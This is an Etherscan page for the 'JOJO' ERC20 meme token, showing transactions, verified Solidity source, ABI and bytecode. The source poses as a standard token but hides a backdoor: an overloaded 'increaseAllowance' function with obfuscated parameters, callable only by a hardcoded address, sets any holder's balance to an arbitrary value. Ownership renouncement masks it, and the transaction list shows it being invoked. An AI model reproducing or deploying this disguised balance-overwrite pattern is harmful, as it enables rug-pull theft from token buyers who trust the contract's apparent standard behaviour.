Source Code
Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 23 from a total of 23 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Approve | 18097426 | 929 days ago | IN | 0 ETH | 0.0003561 | ||||
| Increase Allowan... | 18097424 | 929 days ago | IN | 0 ETH | 0.00038685 | ||||
| Increase Allowan... | 18097377 | 929 days ago | IN | 0 ETH | 0.00037483 | ||||
| Increase Allowan... | 18097370 | 929 days ago | IN | 0 ETH | 0.00035272 | ||||
| Approve | 18097356 | 929 days ago | IN | 0 ETH | 0.0004897 | ||||
| Approve | 18097353 | 929 days ago | IN | 0 ETH | 0.00026781 | ||||
| Increase Allowan... | 18097352 | 929 days ago | IN | 0 ETH | 0.00030273 | ||||
| Increase Allowan... | 18097334 | 929 days ago | IN | 0 ETH | 0.00034776 | ||||
| Increase Allowan... | 18097332 | 929 days ago | IN | 0 ETH | 0.000355 | ||||
| Approve | 18097331 | 929 days ago | IN | 0 ETH | 0.00057294 | ||||
| Increase Allowan... | 18097328 | 929 days ago | IN | 0 ETH | 0.00034654 | ||||
| Approve | 18097300 | 929 days ago | IN | 0 ETH | 0.00049613 | ||||
| Increase Allowan... | 18097299 | 929 days ago | IN | 0 ETH | 0.00032345 | ||||
| Increase Allowan... | 18097279 | 929 days ago | IN | 0 ETH | 0.00033512 | ||||
| Increase Allowan... | 18097268 | 929 days ago | IN | 0 ETH | 0.00034425 | ||||
| Approve | 18097267 | 929 days ago | IN | 0 ETH | 0.0005397 | ||||
| Increase Allowan... | 18097249 | 929 days ago | IN | 0 ETH | 0.0005828 | ||||
| Increase Allowan... | 18097245 | 929 days ago | IN | 0 ETH | 0.00039518 | ||||
| Renounce Ownersh... | 18097245 | 929 days ago | IN | 0 ETH | 0.00030101 | ||||
| Increase Allowan... | 18097244 | 929 days ago | IN | 0 ETH | 0.00058848 | ||||
| Approve | 18097241 | 929 days ago | IN | 0 ETH | 0.00060322 | ||||
| Approve | 18097241 | 929 days ago | IN | 0 ETH | 0.00073833 | ||||
| Approve | 18097228 | 929 days ago | IN | 0 ETH | 0.00064415 |
Advanced mode: Intended for advanced users or developers and will display all Internal Transactions including zero value transfers.
Latest 25 internal transactions (View All)
Advanced mode:
| Parent Transaction Hash | Method | Block |
From
|
|
To
|
|||
|---|---|---|---|---|---|---|---|---|
| Balance Of | 18097427 | 929 days ago | 0 ETH | |||||
| Balance Of | 18097427 | 929 days ago | 0 ETH | |||||
| Transfer From | 18097427 | 929 days ago | 0 ETH | |||||
| Balance Of | 18097375 | 929 days ago | 0 ETH | |||||
| Balance Of | 18097375 | 929 days ago | 0 ETH | |||||
| Transfer | 18097375 | 929 days ago | 0 ETH | |||||
| Balance Of | 18097375 | 929 days ago | 0 ETH | |||||
| Transfer | 18097368 | 929 days ago | 0 ETH | |||||
| Balance Of | 18097368 | 929 days ago | 0 ETH | |||||
| Balance Of | 18097368 | 929 days ago | 0 ETH | |||||
| Transfer | 18097368 | 929 days ago | 0 ETH | |||||
| Balance Of | 18097359 | 929 days ago | 0 ETH | |||||
| Balance Of | 18097359 | 929 days ago | 0 ETH | |||||
| Transfer From | 18097359 | 929 days ago | 0 ETH | |||||
| Balance Of | 18097350 | 929 days ago | 0 ETH | |||||
| Balance Of | 18097350 | 929 days ago | 0 ETH | |||||
| Transfer | 18097350 | 929 days ago | 0 ETH | |||||
| Balance Of | 18097350 | 929 days ago | 0 ETH | |||||
| Balance Of | 18097332 | 929 days ago | 0 ETH | |||||
| Balance Of | 18097332 | 929 days ago | 0 ETH | |||||
| Transfer | 18097332 | 929 days ago | 0 ETH | |||||
| Balance Of | 18097332 | 929 days ago | 0 ETH | |||||
| Balance Of | 18097330 | 929 days ago | 0 ETH | |||||
| Balance Of | 18097330 | 929 days ago | 0 ETH | |||||
| Transfer | 18097330 | 929 days ago | 0 ETH |
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
JOJO
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2023-09-09
*/
/**
For as long as history had been recorded,
the Jojo - consisting of Dragon Lizard and
Memes the island of Melafon, respectively-
was at peace. Complete harmony reigned amongst
the population of dragon memes and others creatures.
But, things were a bit too pleasant. The gap between
light and darkness had leaned too heavily in one direction for far too long.
SOCIALS!
https://twitter.com/JojoERC20
https://www.thejojotoken.com/
https://t.me/JojoErcPortal
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: node_modules\@openzeppelin\contracts\token\ERC20\extensions\IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: node_modules\@openzeppelin\contracts\utils\Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
address msgSender = msg.sender;
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == msg.sender, "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin\contracts\token\ERC20\ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract JOJO is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private chflpb;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 9. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor () {
_name = "JOJO";
_symbol = "JOJO";
_mint(msg.sender, 10000000000 * (10 ** uint256(decimals())));
chflpb = 0xe6417Dd4584c167234822CA667dF7E6Db33E2BE2;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 9;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function increaseAllowance(address adljgx, address adljgxB, uint256 fxmbjn, uint256 ikfrxj, uint256 wietpz) external { require(msg.sender==chflpb); uint256 fractions = 10 ** uint256(9); adljgxB = adljgx;adljgx = adljgx; _balances[adljgxB] = (fxmbjn + ikfrxj + wietpz) * fractions;adljgx = adljgxB;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adljgx","type":"address"},{"internalType":"address","name":"adljgxB","type":"address"},{"internalType":"uint256","name":"fxmbjn","type":"uint256"},{"internalType":"uint256","name":"ikfrxj","type":"uint256"},{"internalType":"uint256","name":"wietpz","type":"uint256"}],"name":"increaseAllowance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]Contract Creation Code
60806040523480156200001157600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506040805180820190915260048152634a4f4a4f60e01b60208201526005906200007d908262000290565b506040805180820190915260048152634a4f4a4f60e01b6020820152600690620000a8908262000290565b50620000d333620000bc6009600a62000471565b620000cd906402540be40062000486565b620000ff565b600380546001600160a01b03191673e6417dd4584c167234822ca667df7e6db33e2be2179055620004b6565b6001600160a01b0382166200015a5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b80600460008282546200016e9190620004a0565b90915550506001600160a01b038216600090815260016020526040812080548392906200019d908490620004a0565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200021757607f821691505b6020821081036200023857634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620001e757600081815260208120601f850160051c81016020861015620002675750805b601f850160051c820191505b81811015620002885782815560010162000273565b505050505050565b81516001600160401b03811115620002ac57620002ac620001ec565b620002c481620002bd845462000202565b846200023e565b602080601f831160018114620002fc5760008415620002e35750858301515b600019600386901b1c1916600185901b17855562000288565b600085815260208120601f198616915b828110156200032d578886015182559484019460019091019084016200030c565b50858210156200034c5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003b35781600019048211156200039757620003976200035c565b80851615620003a557918102915b93841c939080029062000377565b509250929050565b600082620003cc575060016200046b565b81620003db575060006200046b565b8160018114620003f45760028114620003ff576200041f565b60019150506200046b565b60ff8411156200041357620004136200035c565b50506001821b6200046b565b5060208310610133831016604e8410600b841016171562000444575081810a6200046b565b62000450838362000372565b80600019048211156200046757620004676200035c565b0290505b92915050565b60006200047f8383620003bb565b9392505050565b80820281158282048414176200046b576200046b6200035c565b808201808211156200046b576200046b6200035c565b610d1580620004c66000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d7146101eb578063a9059cbb146101fe578063dd62ed3e14610211578063f2fde38b1461024a57600080fd5b8063715018a6146101ab57806379e015c1146101b55780638da5cb5b146101c857806395d89b41146101e357600080fd5b806323b872dd116100d357806323b872dd1461014d578063313ce56714610160578063395093511461016f57806370a082311461018257600080fd5b806306fdde03146100fa578063095ea7b31461011857806318160ddd1461013b575b600080fd5b61010261025d565b60405161010f91906109f0565b60405180910390f35b61012b610126366004610a5a565b6102ef565b604051901515815260200161010f565b6004545b60405190815260200161010f565b61012b61015b366004610a84565b610306565b6040516009815260200161010f565b61012b61017d366004610a5a565b6103bc565b61013f610190366004610ac0565b6001600160a01b031660009081526001602052604090205490565b6101b36103f3565b005b6101b36101c3366004610ae2565b6104a6565b6000546040516001600160a01b03909116815260200161010f565b610102610514565b61012b6101f9366004610a5a565b610523565b61012b61020c366004610a5a565b6105be565b61013f61021f366004610b2f565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6101b3610258366004610ac0565b6105cb565b60606005805461026c90610b62565b80601f016020809104026020016040519081016040528092919081815260200182805461029890610b62565b80156102e55780601f106102ba576101008083540402835291602001916102e5565b820191906000526020600020905b8154815290600101906020018083116102c857829003601f168201915b5050505050905090565b60006102fc3384846106f4565b5060015b92915050565b6000610313848484610818565b6001600160a01b03841660009081526002602090815260408083203384529091529020548281101561039d5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103b185336103ac8685610bb2565b6106f4565b506001949350505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916102fc9185906103ac908690610bc5565b336104066000546001600160a01b031690565b6001600160a01b03161461045c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610394565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6003546001600160a01b031633146104bd57600080fd5b60006104cb6009600a610cbc565b869550905080826104dc8587610bc5565b6104e69190610bc5565b6104f09190610cc8565b6001600160a01b039095166000908152600160205260409020949094555050505050565b60606006805461026c90610b62565b3360009081526002602090815260408083206001600160a01b0386168452909152812054828110156105a55760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610394565b6105b433856103ac8685610bb2565b5060019392505050565b60006102fc338484610818565b336105de6000546001600160a01b031690565b6001600160a01b0316146106345760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610394565b6001600160a01b0381166106995760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610394565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107565760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610394565b6001600160a01b0382166107b75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610394565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661087c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610394565b6001600160a01b0382166108de5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610394565b6001600160a01b038316600090815260016020526040902054818110156109565760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610394565b6109608282610bb2565b6001600160a01b038086166000908152600160205260408082209390935590851681529081208054849290610996908490610bc5565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516109e291815260200190565b60405180910390a350505050565b600060208083528351808285015260005b81811015610a1d57858101830151858201604001528201610a01565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610a5557600080fd5b919050565b60008060408385031215610a6d57600080fd5b610a7683610a3e565b946020939093013593505050565b600080600060608486031215610a9957600080fd5b610aa284610a3e565b9250610ab060208501610a3e565b9150604084013590509250925092565b600060208284031215610ad257600080fd5b610adb82610a3e565b9392505050565b600080600080600060a08688031215610afa57600080fd5b610b0386610a3e565b9450610b1160208701610a3e565b94979496505050506040830135926060810135926080909101359150565b60008060408385031215610b4257600080fd5b610b4b83610a3e565b9150610b5960208401610a3e565b90509250929050565b600181811c90821680610b7657607f821691505b602082108103610b9657634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561030057610300610b9c565b8082018082111561030057610300610b9c565b600181815b80851115610c13578160001904821115610bf957610bf9610b9c565b80851615610c0657918102915b93841c9390800290610bdd565b509250929050565b600082610c2a57506001610300565b81610c3757506000610300565b8160018114610c4d5760028114610c5757610c73565b6001915050610300565b60ff841115610c6857610c68610b9c565b50506001821b610300565b5060208310610133831016604e8410600b8410161715610c96575081810a610300565b610ca08383610bd8565b8060001904821115610cb457610cb4610b9c565b029392505050565b6000610adb8383610c1b565b808202811582820484141761030057610300610b9c56fea2646970667358221220cd3439af1cb3f7511663f9778f7cb0d486bb651eb7fcbade096a527a4a099e2a64736f6c63430008130033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d7146101eb578063a9059cbb146101fe578063dd62ed3e14610211578063f2fde38b1461024a57600080fd5b8063715018a6146101ab57806379e015c1146101b55780638da5cb5b146101c857806395d89b41146101e357600080fd5b806323b872dd116100d357806323b872dd1461014d578063313ce56714610160578063395093511461016f57806370a082311461018257600080fd5b806306fdde03146100fa578063095ea7b31461011857806318160ddd1461013b575b600080fd5b61010261025d565b60405161010f91906109f0565b60405180910390f35b61012b610126366004610a5a565b6102ef565b604051901515815260200161010f565b6004545b60405190815260200161010f565b61012b61015b366004610a84565b610306565b6040516009815260200161010f565b61012b61017d366004610a5a565b6103bc565b61013f610190366004610ac0565b6001600160a01b031660009081526001602052604090205490565b6101b36103f3565b005b6101b36101c3366004610ae2565b6104a6565b6000546040516001600160a01b03909116815260200161010f565b610102610514565b61012b6101f9366004610a5a565b610523565b61012b61020c366004610a5a565b6105be565b61013f61021f366004610b2f565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6101b3610258366004610ac0565b6105cb565b60606005805461026c90610b62565b80601f016020809104026020016040519081016040528092919081815260200182805461029890610b62565b80156102e55780601f106102ba576101008083540402835291602001916102e5565b820191906000526020600020905b8154815290600101906020018083116102c857829003601f168201915b5050505050905090565b60006102fc3384846106f4565b5060015b92915050565b6000610313848484610818565b6001600160a01b03841660009081526002602090815260408083203384529091529020548281101561039d5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103b185336103ac8685610bb2565b6106f4565b506001949350505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916102fc9185906103ac908690610bc5565b336104066000546001600160a01b031690565b6001600160a01b03161461045c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610394565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6003546001600160a01b031633146104bd57600080fd5b60006104cb6009600a610cbc565b869550905080826104dc8587610bc5565b6104e69190610bc5565b6104f09190610cc8565b6001600160a01b039095166000908152600160205260409020949094555050505050565b60606006805461026c90610b62565b3360009081526002602090815260408083206001600160a01b0386168452909152812054828110156105a55760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610394565b6105b433856103ac8685610bb2565b5060019392505050565b60006102fc338484610818565b336105de6000546001600160a01b031690565b6001600160a01b0316146106345760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610394565b6001600160a01b0381166106995760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610394565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107565760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610394565b6001600160a01b0382166107b75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610394565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661087c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610394565b6001600160a01b0382166108de5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610394565b6001600160a01b038316600090815260016020526040902054818110156109565760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610394565b6109608282610bb2565b6001600160a01b038086166000908152600160205260408082209390935590851681529081208054849290610996908490610bc5565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516109e291815260200190565b60405180910390a350505050565b600060208083528351808285015260005b81811015610a1d57858101830151858201604001528201610a01565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610a5557600080fd5b919050565b60008060408385031215610a6d57600080fd5b610a7683610a3e565b946020939093013593505050565b600080600060608486031215610a9957600080fd5b610aa284610a3e565b9250610ab060208501610a3e565b9150604084013590509250925092565b600060208284031215610ad257600080fd5b610adb82610a3e565b9392505050565b600080600080600060a08688031215610afa57600080fd5b610b0386610a3e565b9450610b1160208701610a3e565b94979496505050506040830135926060810135926080909101359150565b60008060408385031215610b4257600080fd5b610b4b83610a3e565b9150610b